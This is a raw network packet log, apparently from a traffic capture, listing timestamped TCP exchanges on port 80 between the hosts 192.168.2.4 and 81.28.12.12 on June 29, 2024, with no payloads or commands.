Jun 29, 2024 08:05:05.235331059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.235426903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.235501051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.235534906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.235567093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.235598087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.235862970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.235897064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.235918999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.235938072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239099026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239131927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239166021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239204884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239236116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239272118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239305019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239346027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239392042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239422083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239464045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239464045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239526987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239557981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239578009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239597082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239628077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239667892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239695072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239736080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239751101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239774942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239820004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239854097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239872932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239892960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239923000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.239959955 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.239976883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240020990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240044117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240098000 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240125895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240165949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240180016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240209103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240231991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240272999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240286112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240313053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240339041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240371943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240391016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240411997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240442991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240474939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240542889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240586996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240639925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240807056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240839005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240863085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240880013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240909100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240950108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.240963936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.240995884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241029024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241048098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.241080046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241111994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.241127968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.241703987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241736889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241770983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241791964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.241813898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.241872072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241904020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.241939068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.241959095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.243426085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.243567944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.243601084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.243628979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.243654966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.243715048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.243746042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.243765116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.243788958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.243817091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.243856907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.243870974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.243899107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526139021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526205063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526225090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526263952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526310921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526344061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526364088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526437998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526472092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526494026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526518106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526546955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526606083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526621103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526652098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526674032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526709080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.526730061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.526760101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.527148962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.527203083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.527225018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.527273893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.527301073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.527333021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.527354956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.527374983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.527405024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.527436972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.527456999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.527484894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528007984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528059959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528104067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528151989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528177023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528212070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528232098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528254032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528283119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528331995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528795004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528846979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528871059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528901100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.528922081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528939009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.528989077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.529023886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.529042959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.529067039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.529094934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.529143095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530194998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530251026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530270100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530303955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530323029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530347109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530379057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530430079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530493975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530523062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530544043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530572891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530596018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530642033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530687094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530715942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530738115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530755997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530785084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530819893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530843973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530874968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530896902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.530941010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.530961990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.531011105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.531512976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.531547070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.531569004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.531589985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.531632900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.531663895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.531682968 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.531702042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.531734943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.531786919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.532226086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.532277107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.532300949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.532335997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.532357931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.532382011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.532413960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.532448053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.532469034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.532505989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.532536030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.532584906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.533067942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.533117056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.533142090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.533191919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.533216000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.533250093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.533269882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.533287048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.533317089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.533366919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534101963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534154892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534192085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534213066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534235001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534267902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534288883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534308910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534339905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534369946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534389019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534415960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534754992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534811020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.534866095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.534921885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821480036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821547985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821583986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821619987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821652889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821702003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821746111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821777105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821818113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821832895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821863890 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821888924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821918964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.821940899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821970940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.821995020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822037935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822052002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.822081089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.822104931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822148085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.822516918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822570086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.822592974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822637081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.822664022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822706938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822721004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.822745085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.822773933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.822824001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.823443890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.823493004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.823522091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.823565960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.823592901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.823626995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.823648930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.823678970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.823703051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.823751926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.824162006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.824213982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.824238062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.824279070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.824306011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.824347973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.824363947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.824389935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.824417114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.824460983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.824474096 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.824522972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.825095892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825129986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825191975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825206041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.825237989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.825258017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825301886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825315952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.825347900 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.825375080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825860977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825922012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.825936079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.825963020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.825984955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826028109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.826055050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826086998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826108932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.826134920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.826163054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826210022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.826751947 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826798916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.826827049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826869011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.826906919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826950073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.826963902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.826989889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827014923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827056885 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827080965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827127934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827613115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827656031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827687025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827727079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827753067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827794075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827810049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827831030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827861071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827902079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.827915907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.827941895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.828583002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.828635931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.828670025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.828691006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.828713894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.828742027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.828783035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.828797102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.828824043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.828849077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.828897953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:05.829726934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:05.829761982 CEST	80	49731	81.28.12.12	192.168.2.4
